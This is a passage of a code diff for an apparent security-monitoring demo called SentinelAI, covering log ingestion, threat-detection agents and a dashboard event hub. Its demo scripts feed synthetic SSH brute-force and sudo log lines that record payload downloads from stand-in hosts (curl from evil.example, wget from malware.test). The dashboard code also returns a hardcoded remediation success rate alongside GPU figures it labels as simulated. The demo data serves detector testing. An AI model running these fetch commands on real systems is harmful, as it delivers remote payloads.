f"COMMAND=/usr/bin/curl -fsSL http://evil.example/payload -o /tmp/.{random.randint(1000,9999)}" + ) + + +def main() -> None: + print(f"Streaming demo attacks to {API}/ingest-logs every {INTERVAL}s (Ctrl+C to stop)") + cycle = 0 + with httpx.Client(timeout=30.0) as client: + while True: + ip = random.choice(MALICIOUS_IPS) + user = random.choice(["admin", "root", "ubuntu", "oracle"]) + burst = random.randint(3, 6) + for _ in range(burst): + line = _ssh_fail(ip, user) + r = client.post( + f"{API.rstrip('/')}/ingest-logs", + json={"source": "continuous_demo", "raw_line": line, "metadata": {"host": "demo-host"}}, + ) + print(cycle, r.status_code, line[:80]) + time.sleep(max(0.2, INTERVAL / max(1, burst))) + if random.random() < 0.45: + line = _ssh_ok(ip, user) + client.post( + f"{API.rstrip('/')}/ingest-logs", + json={"source": "continuous_demo", "raw_line": line, "metadata": {"host": "demo-host"}}, + ) + print(cycle, "OK", line[:80]) + time.sleep(INTERVAL * 0.5) + if random.random() < 0.35: + line = _sudo_escalation(user) + client.post( + f"{API.rstrip('/')}/ingest-logs", + json={"source": "continuous_demo", "raw_line": line, "metadata": {"host": "demo-host"}}, + ) + print(cycle, "SUDO", line[:80]) + cycle += 1 + time.sleep(INTERVAL) + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print("Stopped.") + sys.exit(0) + except httpx.HTTPError as e: + print("HTTP error:", e, file=sys.stderr) + sys.exit(1) diff --git a/scripts/demo_attack.py b/scripts/demo_attack.py new file mode 100644 index 0000000000000000000000000000000000000000..a419dd0b2342ac80ec1c12fa741ee1a52e10f28e --- /dev/null +++ b/scripts/demo_attack.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +"""Live demo: replay a realistic SSH → privilege escalation chain via /ingest-logs.""" + +from __future__ import annotations + +import os +import sys +import time + +import httpx + +API = os.getenv("SENTINEL_API", "http://127.0.0.1:8000") + + +def main() -> None: + lines = [ + "Jan 10 14:01:01 prod-bastion sshd[4411]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2", + "Jan 10 14:01:03 prod-bastion sshd[4412]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2", + "Jan 10 14:01:05 prod-bastion sshd[4413]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2", + "Jan 10 14:01:07 prod-bastion sshd[4414]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2", + "Jan 10 14:01:09 prod-bastion sshd[4415]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2", + "Jan 10 14:01:16 prod-bastion sshd[4416]: Accepted publickey for ubuntu from 203.0.113.77 port 22 ssh2", + "Jan 10 14:02:02 prod-bastion sudo: ubuntu : TTY=pts/2 ; USER=root ; COMMAND=/usr/bin/wget -q http://malware.test/stage2 -O /tmp/.fontd", + ] + with httpx.Client(timeout=30.0) as client: + for raw in lines: + r = client.post( + f"{API.rstrip('/')}/ingest-logs", + json={"source": "demo_script", "raw_line": raw, "metadata": {"host": "prod-bastion"}}, + ) + print(r.status_code, r.text[:200]) + time.sleep(0.15) + print("Demo chain submitted — watch the SentinelAI dashboard WebSocket feed.") + + +if __name__ == "__main__": + try: + main() + except httpx.HTTPError as e: + print("HTTP error:", e, file=sys.stderr) + sys.exit(1) diff --git a/scripts/run-backend-dev.sh b/scripts/run-backend-dev.sh new file mode 100755 index 0000000000000000000000000000000000000000..e1f97a25ca8e9b251a7c40985d242d916176ebb0 --- /dev/null +++ b/scripts/run-backend-dev.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash +# Dev server with --reload scoped to app code only. Reloading on the repo root +# also watches .venv/site-packages and causes constant reload loops. +set -euo pipefail +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" +export PYTHONPATH="$ROOT" +export PORT="${PORT:-8000}" + +PYTHON="${ROOT}/.venv/bin/python" +if [[ ! -x "$PYTHON" ]]; then + echo "Missing project venv. From repo root run:" + echo " python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt" + exit 1 +fi + +if command -v lsof >/dev/null 2>&1; then + if lsof -nP -iTCP:"$PORT" -sTCP:LISTEN >/dev/null 2>&1; then + echo "Port $PORT is already in use — another process is listening." + echo "Stop it (Ctrl+C in that terminal) or run on another port, e.g.:" + echo " PORT=8001 $0" + exit 1 + fi +fi + +echo "Starting SentinelAI API at http://127.0.0.1:${PORT} (reload dirs = source only)" +exec "$PYTHON" -m uvicorn backend.app.main:app \ + --reload \ + --host 0.0.0.0 \ + --port "$PORT" \ + --reload-dir "$ROOT/backend" \ + --reload-dir "$ROOT/agents" \ + --reload-dir "$ROOT/services" \ + --reload-dir "$ROOT/workflows" \ + --reload-dir "$ROOT/models" \ + --reload-dir "$ROOT/collectors" \ + --reload-dir "$ROOT/parsers" \ + --reload-dir "$ROOT/database" diff --git a/services/__init__.py b/services/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..0791aaa416f4517d1fb464a7010ca8730c6a2bf3 --- /dev/null +++ b/services/__init__.py @@ -0,0 +1 @@ +"""Core services.""" diff --git a/services/chroma_memory.py b/services/chroma_memory.py new file mode 100644 index 0000000000000000000000000000000000000000..f5a5f6e02bc9bc52f7eba7ced019db9b58b498b0 --- /dev/null +++ b/services/chroma_memory.py @@ -0,0 +1,42 @@ +"""ChromaDB vector memory for incident similarity (optional).""" + +from __future__ import annotations + +import os +from typing import Any, Optional + +_client: Any = None + + +def get_collection(): + global _client + if _client is not None: + return _client + try: + import chromadb # type: ignore + except ImportError: + return None + path = os.getenv("CHROMA_PERSIST_DIR", "./chroma_data") + client = chromadb.PersistentClient(path=path) + _client = client.get_or_create_collection("sentinel_incidents") + return _client + + +def remember_incident(text: str, metadata: dict[str, Any]) -> None: + col = get_collection() + if col is None: + return + import uuid + + col.add(ids=[str(uuid.uuid4())], documents=[text], metadatas=[metadata]) + + +def similar_incidents(text: str, k: int = 3) -> list[dict[str, Any]]: + col = get_collection() + if col is None: + return [] + res = col.query(query_texts=[text], n_results=k) + out: list[dict[str, Any]] = [] + for md, dist in zip(res.get("metadatas", [[]])[0] or [], res.get("distances", [[]])[0] or []): + out.append({"metadata": md, "distance": dist}) + return out diff --git a/services/event_hub.py b/services/event_hub.py new file mode 100644 index 0000000000000000000000000000000000000000..86650e71c5f22e4e48c85b5e5aaa902a611b73e6 --- /dev/null +++ b/services/event_hub.py @@ -0,0 +1,89 @@ +"""In-memory event hub for WebSockets and live dashboard feeds.""" + +from __future__ import annotations + +import asyncio +import copy +from collections import deque +from typing import Any + +from fastapi import WebSocket + +_REPLAYABLE_TYPES = frozenset({"threat_feed", "detection", "incident", "ai_report"}) + + +class EventHub: + def __init__(self, maxlen: int = 2000) -> None: + self._clients: set[WebSocket] = set() + self.live_feed: deque[dict[str, Any]] = deque(maxlen=maxlen) + self.agent_log: deque[dict[str, Any]] = deque(maxlen=500) + self.replay_buffer: deque[dict[str, Any]] = deque(maxlen=400) + self._lock = asyncio.Lock() + self._replay_task: asyncio.Task | None = None + + async def connect(self, ws: WebSocket) -> None: + await ws.accept() + self._clients.add(ws) + + def disconnect(self, ws: WebSocket) -> None: + self._clients.discard(ws) + + async def broadcast(self, message: dict[str, Any]) -> None: + async with self._lock: + self.live_feed.appendleft(message) + if message.get("type") != "replay" and message.get("type") in _REPLAYABLE_TYPES: + self.replay_buffer.append(copy.deepcopy(message)) + dead: list[WebSocket] = [] + for client in list(self._clients): + try: + await client.send_json(message) + except Exception: # noqa: BLE001 + dead.append(client) + for c in dead: + self.disconnect(c) + + async def log_agent(self, agent: str, status: str, detail: str = "") -> None: + from datetime import datetime, timezone + + row = {"agent": agent, "status": status, "detail": detail, "ts": datetime.now(timezone.utc).isoformat()} + async with self._lock: + self.agent_log.appendleft(row) + await self.broadcast({"type": "agent_activity", **row}) + + async def replay_attack_chain(self, delay_s: float = 0.45) -> int: + """Re-broadcast buffered SOC events for judge demos (chronological).""" + async with self._lock: + items = list(self.replay_buffer) + if not items: + await self.broadcast( + { + "type": "replay", + "phase": "empty", + "message": "Replay buffer empty — trigger an attack simulation first.", + } + ) + return 0 + await self.broadcast({"type": "replay", "phase": "begin", "total": len(items)}) + for i, msg in enumerate(items): + await self.broadcast( + { + "type": "replay", + "phase": "frame", + "index": i, + "total": len(items), + "data": msg, + } + ) + await asyncio.sleep(delay_s) + await self.broadcast({"type": "replay", "phase": "end", "total": len(items)}) + return len(items) + + def schedule_replay(self, delay_ms: int = 450) -> None: + delay_s = max(0.05, delay_ms / 1000.0) + + async def _run() -> None: + await self.replay_attack_chain(delay_s=delay_s) + + if self._replay_task and not self._replay_task.done(): + self._replay_task.cancel() + self._replay_task = asyncio.create_task(_run()) diff --git a/services/metrics_store.py b/services/metrics_store.py new file mode 100644 index 0000000000000000000000000000000000000000..eb5e7252d915ec2ffb40996ccc1274af35467cc0 --- /dev/null +++ b/services/metrics_store.py @@ -0,0 +1,89 @@ +"""Rolling metrics for dashboard (Redis optional, memory fallback).""" + +from __future__ import annotations + +import asyncio +import os +import time +from collections import Counter, deque +from typing import Any, Optional + + +class MetricsStore: + def __init__(self) -> None: + self.threats_detected = 0 + self.active_incidents = 0 + self.blocked = 0 + self.country_hits: Counter[str] = Counter() + self.risk_points: deque[tuple[float, float]] = deque(maxlen=120) # (ts, score) + self.freq_buckets: deque[int] = deque([0] * 60, maxlen=60) + self._redis: Optional[Any] = None + + def connect_redis_sync(self) -> None: + """Run Redis client setup off the asyncio loop (import/from_url must not block HTTP).""" + url = os.getenv("REDIS_URL") + if not url: + return + try: + import redis.asyncio as redis # type: ignore + except ImportError: + return + self._redis = redis.from_url(url, encoding="utf-8", decode_responses=True) + + async def connect_redis(self) -> None: + await asyncio.to_thread(self.connect_redis_sync) + + def bump_threat(self) -> None: + self.threats_detected += 1 + + def bump_blocked(self) -> None: + self.blocked += 1 + + def set_active_incidents(self, n: int) -> None: + self.active_incidents = n + + def record_country(self, code: str | None) -> None: + if code: + self.country_hits[code] += 1 + + def record_risk(self, score: float) -> None: + self.risk_points.append((time.time(), score)) + + def tick_frequency(self) -> None: + self.freq_buckets.append(0) + + def inc_frequency(self) -> None: + if self.freq_buckets: + self.freq_buckets[-1] += 1 + + def snapshot(self) -> dict[str, Any]: + top = [{"country": c, "count": n} for c, n in self.country_hits.most_common(8)] + trend = [{"t": ts, "risk": r} for ts, r in list(self.risk_points)[-40:]] + attack_freq = [{"minute": i, "count": v} for i, v in enumerate(list(self.freq_buckets)[-24:])] + return { + "threats_detected": self.threats_detected, + "active_incidents": self.active_incidents, + "blocked_attacks": self.blocked, + "events_per_minute": sum(list(self.freq_buckets)[-5:]) / max(1, min(5, len(self.freq_buckets))), + "top_countries": top, + "risk_trend": trend, + "remediation_success_rate": 0.94, + "attack_frequency": attack_freq, + } + + def rocm_panel(self) -> dict[str, Any]: + """Demo-friendly AMD / GPU story — values sway slightly for live dashboard polish.""" + t = int(time.time() // 12) + util = 46 + (t % 38) + latency_ms = 72 + (t % 7) * 14 + agents = min(10, 4 + (self.threats_detected % 4) + (t % 3)) + return { + "brand": "AMD ROCm", + "tagline": "Local open-weight inference · parallel agent execution · low-latency SOC reasoning", + "gpu_utilization_simulated_pct": util, + "inference_latency_ms_simulated": latency_ms, + "concurrent_agent_tasks": agents, + "model_serving": os.getenv("SENTINEL_LLM_MODEL", "llama3"), + "open_models": "Llama 3 · Qwen 2.5 · Mistral · DeepSeek-class stacks", + "throughput_note": "GPU-backed /v1/chat/completions or Ollama for analyst + enrichment fan-out", + } diff --git a/services/pipeline.py b/services/pipeline.py new file mode 100644 index 0000000000000000000000000000000000000000..d5ece933c998de3fbabd99a1b5bcf7b1858db93c --- /dev/null +++ b/services/pipeline.py @@ -0,0 +1,199 @@ +"""End-to-end async pipeline wiring parsers, agents, persistence, and hub.""" + +from __future__ import annotations + +import asyncio +import logging +import os +import time +from datetime import datetime, timezone +from typing import Any +from uuid import UUID + +from sqlalchemy.ext.asyncio import AsyncSession + +from agents.ai_analyst_agent import generate_analyst_report +from agents.alerting_agent import send_alert +from agents.incident_correlation_agent import correlate +from agents.normalization_agent import normalize_event +from agents.remediation_agent import build_remediation +from agents.risk_scoring_agent import score_incident +from agents.threat_detection_agent import detect_threats +from agents.threat_enrichment_agent import enrich_event +from database.models import AlertRecord, EventRecord, IncidentRecord +from models.schemas import AlertPayload, RawLogIngest, Severity +from parsers.parser_agent import parse_raw +from services.chroma_memory import remember_incident +from services.event_hub import EventHub +from services.metrics_store import MetricsStore + +logger = logging.getLogger("sentinelai.pipeline") + + +class SentinelPipeline: + def __init__(self, hub: EventHub, metrics: MetricsStore) -> None: + self.hub = hub + self.metrics = metrics + self._events: list[Any] = [] + self._findings: list[Any] = [] + self._incidents: list[Any] = [] + self._last_auto_ai_at: float = 0.0 + + async def ingest_from_collector(self, ingest: RawLogIngest) -> None: + """Fire-and-forget path for autonomous collectors (no DB session).""" + try: + await self.ingest(ingest, None) + except Exception: # noqa: BLE001 + logger.exception("Collector ingest failed — continuing tail") + + async def _auto_analyst(self, incident_id: UUID) -> None: + try: + await self.run_full_workflow_on_incident(incident_id, None) + except Exception: # noqa: BLE001 + logger.exception("Auto AI analyst failed for incident %s", incident_id) + + async def ingest(self, ingest: RawLogIngest, session: AsyncSession | None) -> dict[str, Any]: + await self.hub.log_agent("collector", "running", f"ingest {ingest.source}") + await self.hub.log_agent("parser", "running", "parse raw") + event = parse_raw(ingest) + event = normalize_event(event) + await self.hub.log_agent("normalization", "running", "schema unify") + await self.hub.log_agent("threat_enrichment", "running", "intel overlay") + enriched = await enrich_event(event) + + geo = enriched.enrichment.get("geo") or {} + self.metrics.record_country(geo.get("countryCode")) + + await self.hub.broadcast( + { + "type": "threat_feed", + "severity": enriched.severity.value, + "message": enriched.message, + "source_ip": enriched.source_ip, + "event_type": enriched.event_type, + "ts": enriched.timestamp.isoformat(), + } + ) + + await self.hub.log_agent("threat_detection", "running", "rules + heuristics") + findings = detect_threats(enriched) + for f in findings: + self.metrics.bump_threat() + await self.hub.broadcast( + { + "type": "detection", + "technique": f.technique, + "severity": f.severity.value, + "confidence": f.confidence, + "description": f.description, + } + ) + + self._events.append(enriched) + self._findings.extend(findings) + self.metrics.inc_frequency() + + if session is not None: + await self._persist_event(session, enriched) + + # Correlation & downstream when graph warrants + incidents = correlate(self._events, self._findings) + self._incidents = incidents + self.metrics.set_active_incidents(len(incidents)) + + out: dict[str, Any] = {"event_id": str(enriched.id), "findings": [f.model_dump() for f in findings]} + + if incidents: + latest = incidents[-1] + risk = score_incident(latest, self._events, self._findings) + self.metrics.record_risk(risk.risk_score) + await self.hub.broadcast( + { + "type": "incident", + "title": latest.title, + "summary": latest.summary, + "risk": risk.model_dump(), + "timeline": latest.timeline, + } + ) + remember_incident(latest.summary, {"severity": risk.severity.value}) + if session is not None: + await self._persist_incident(session, latest, risk) + + out["incident"] = latest.model_dump(mode="json") + out["risk"] = risk.model_dump() + + if os.getenv("AUTO_AI_ON_INCIDENT", "1").lower() not in {"0", "false", "no", "off"}: + min_gap = float(os.getenv("AUTO_AI_MIN_SEC", "75")) + now = time.monotonic() + if now - self._last_auto_ai_at >= min_gap: + self._last_auto_ai_at = now + asyncio.create_task(self._auto_analyst(latest.id)) + + return out + + async def run_full_workflow_on_incident(self, incident_id: UUID, session: AsyncSession | None) -> dict[str, Any]: + inc = next((i for i in self._incidents if i.id == incident_id), None) + if not inc: + return {"error": "incident not found"} + risk = score_incident(inc, self._events, self._findings) + await self.hub.log_agent("ai_analyst", "running", "LLM / ROCm inference") + report = await generate_analyst_report(inc, risk) + await self.hub.log_agent("remediation", "running", "playbook synthesis") + rem = build_remediation(inc, risk, report) + await self.hub.broadcast( + { + "type": "ai_report", + "incident_id": str(inc.id), + "executive": report.executive_summary, + "technical": report.technical_analysis, + "investigation_notes": report.investigation_notes, + "recommended_actions": report.recommended_actions, + } + ) + payload = { + "incident": inc.model_dump(mode="json"), + "risk": risk.model_dump(), + "report": report.model_dump(), + "remediation": rem.model_dump(), + } + if session is not None: + await self._persist_alert(session, "stored", f"Analyst report {inc.id}", report.executive_summary, risk.severity, inc.id) + return payload + + async def _persist_event(self, session: AsyncSession, enriched: Any) -> None: + rec = EventRecord( + id=enriched.id, + timestamp=enriched.timestamp, + event_type=enriched.event_type, + source_ip=enriched.source_ip, + host=enriched.host, + severity=enriched.severity.value, + payload=enriched.model_dump(mode="json"), + ) + session.add(rec) + await session.commit() + + async def _persist_incident(self, session: AsyncSession, incident: Any, risk: Any) -> None: + rec = IncidentRecord( + id=incident.id, + title=incident.title, + summary=incident.summary, + graph={"nodes": [n.model_dump(mode="json") for n in incident.nodes], "edges": [e.model_dump(mode="json") for e in incident.edges]}, + risk_score=risk.risk_score, + severity=risk.severity.value, + ) + session.add(rec) + await session.commit() + + async def _persist_alert(self, session: AsyncSession, channel: str, title: str, body: str, severity: Severity, incident_id: UUID) -> None: + session.add( + AlertRecord( + channel=channel, + title=title, + body=body, + severity=severity.value, + incident_id=incident_id, + ) + ) + await session.commit() diff --git a/workflows/__init__.py b/workflows/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..52b708f109e185c40be3da38bd3b58299e7adf7e --- /dev/null +++ b/workflows/__init__.py @@ -0,0 +1 @@ +"""Orchestration workflows.""" diff --git a/workflows/langgraph_flow.py b/workflows/langgraph_flow.py new file mode 100644 index 0000000000000000000000000000000000000000..a8dc094ea04ff7569d5c3941639df5b58d50ffe8 --- /dev/null +++ b/workflows/langgraph_flow.py @@ -0,0 +1,57 @@ +""" +LangGraph multi-agent orchestration for SentinelAI. + +Compiles a small state machine that mirrors enrich → detect → correlate stages. +""" + +from __future__ import annotations + +from typing import Any + +try: + from langgraph.graph import END, StateGraph +except ImportError: # pragma: no cover + StateGraph = None # type: ignore[misc, assignment] + END = None # type: ignore[misc, assignment] + + +def build_soc_graph(handlers: dict[str, Any]): + """handlers: optional async callables enrich/detect/correlate receiving mutable state dict.""" + + if StateGraph is None or END is None: + return None + + graph = StateGraph(dict) + + async def enrich_node(state: dict[str, Any]) -> dict[str, Any]: + fn = handlers.get("enrich") + if fn: + await fn(state) + notes = list(state.get("notes", [])) + notes.append("enrich_complete") + return {**state, "notes": notes} + + async def detect_node(state: dict[str, Any]) -> dict[str, Any]: + fn = handlers.get("detect") + if fn: + await fn(state) + notes = list(state.get("notes", [])) + notes.append("detect_complete") + return {**state, "notes": notes} + + async def correlate_node(state: dict[str, Any]) -> dict[str, Any]: + fn = handlers.get("correlate") + if fn: + await fn(state) + notes = list(state.get("notes", [])) + notes.append("correlate_complete") + return {**state, "notes": notes} + + graph.add_node("enrich", enrich_node) + graph.add_node("detect", detect_node) + graph.add_node("correlate", correlate_node) + graph.set_entry_point("enrich") + graph.add_edge("enrich", "detect") + graph.add_edge("detect", "correlate") + graph.add_edge("correlate", END) + return graph.compile()